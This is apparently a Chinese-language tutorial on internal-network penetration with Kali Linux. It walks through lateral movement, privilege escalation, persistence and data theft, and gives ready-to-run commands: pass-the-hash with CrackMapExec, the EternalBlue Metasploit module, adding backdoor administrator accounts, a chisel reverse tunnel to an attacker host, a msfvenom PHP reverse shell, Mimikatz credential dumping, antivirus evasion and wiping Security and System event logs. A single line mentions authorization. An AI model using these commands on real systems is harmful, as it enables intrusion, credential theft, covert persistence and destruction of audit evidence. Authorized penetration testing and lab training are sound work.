Kali Linux 在内网渗透测试中扮演重要角色,常用于突破边界后的内网横向移动、权限提升和数据窃取等操作。以下是内网渗透的核心流程、工具及实战技巧:
一、内网渗透核心流程
突破边界
- 通过外网漏洞(如 Web 漏洞、弱口令)获取内网入口(如跳板机、Web 服务器权限)。
信息收集
- 内网资产扫描(IP 段、主机、服务、域环境)。
横向移动
- 利用漏洞或凭据在内网中扩散控制权。
权限维持
- 部署后门、创建计划任务、添加用户等。
数据窃取与清理
- 提取敏感数据,清除日志痕迹。
二、内网渗透常用工具与技巧
1. 信息收集
网络扫描
# 快速扫描内网存活主机(C段) nmap -sn 192.168.1.0/24 # 详细扫描目标服务版本 nmap -sV -p 1-65535 192.168.1.100
域环境探测
使用
enum4linux
探测 SMB 共享和域信息:enum4linux -a 192.168.1.10
- 使用
ldapsearch
查询域控制器(需域凭据)。
ARP 欺骗嗅探
- 工具:
ettercap
、arpspoof
(需配合tcpdump
抓包)。
- 工具:
2. 横向移动
Pass The Hash (PTH)
使用
pth-winexe
或CrackMapExec
传递哈希登录 Windows 主机:crackmapexec smb 192.168.1.0/24 -u Administrator -H <NTLM_Hash> --local-auth
利用漏洞横向
如 MS17-010(永恒之蓝):
msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.100-200 exploit
远程命令执行
通过 WMI 或 PsExec 执行命令:
impacket-psexec administrator:Password123@192.168.1.10
3. 权限提升
本地提权漏洞
- 使用
linux-exploit-suggester
或windows-exploit-suggester
检测系统漏洞。
- 使用
滥用服务权限
- 利用 MySQL、Redis 等服务的高权限执行系统命令。
劫持计划任务/SUID 文件
查找可写的计划任务或 SUID 文件(Linux):
find / -perm -4000 2>/dev/null # 查找 SUID 文件
4. 权限维持
创建后门账户
# Linux useradd -m -s /bin/bash backdoor passwd backdoor # Windows net user backdoor P@ssw0rd /add net localgroup administrators backdoor /add
计划任务/定时任务
- Windows:
schtasks
创建定时任务。 - Linux:
crontab -e
添加反弹 Shell。
- Windows:
隐蔽隧道
使用
Ngrok
、frp
或Chisel
建立反向隧道绕过防火墙:chisel server -p 8080 # 攻击机 chisel client <ATTACKER_IP>:8080 R:socks # 内网主机
5. 数据窃取与隐蔽
敏感文件搜索
查找配置文件、数据库凭据、SSH 私钥等:
grep -r "password" /var/www/ 2>/dev/null
流量代理
使用
Proxychains
将工具流量通过代理(如 Socks5):proxychains nmap -sT -Pn 10.10.10.10
日志清理
- Linux:清除
auth.log
、bash_history
。 Windows:使用
wevtutil
清除事件日志:wevtutil cl Security wevtutil cl System
- Linux:清除
三、内网渗透注意事项
隐蔽性
- 尽量使用低频扫描(
nmap -T2
),避免触发 IDS/IPS。
- 尽量使用低频扫描(
权限控制
- 优先获取域管理员权限(Domain Admin),控制整个域环境。
免杀处理
- 使用
Veil
或Shellter
对 Payload 进行混淆,绕过杀毒软件。
- 使用
合法授权
- 必须获得书面授权,禁止未经许可的内网渗透。
四、实战案例参考
场景:通过 Web 漏洞进入内网
- 利用 Web 应用的 SQL 注入漏洞上传 Webshell(如
sqlmap --os-shell
)。 通过 Webshell 反弹 Meterpreter Shell:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f raw > shell.php
内网扫描发现域控制器(192.168.1.1),使用
Mimikatz
抓取域凭据:meterpreter > load kiwi kiwi_cmd privilege::debug kiwi_cmd sekurlsa::logonpasswords
- 通过 Pass The Ticket(PTT)攻击控制域内其他主机。
五、学习资源
- 书籍:《内网安全攻防:渗透测试实战指南》
靶场:
- VulnHub 内网渗透类靶机(如
HackTheBox
的复杂内网场景)。 - 本地搭建域环境(Windows Server + 客户端虚拟机)。
- VulnHub 内网渗透类靶机(如
工具手册:
- Metasploit Unleashed(官方指南)
- Impacket 库文档(https://github.com/fortra/impacket)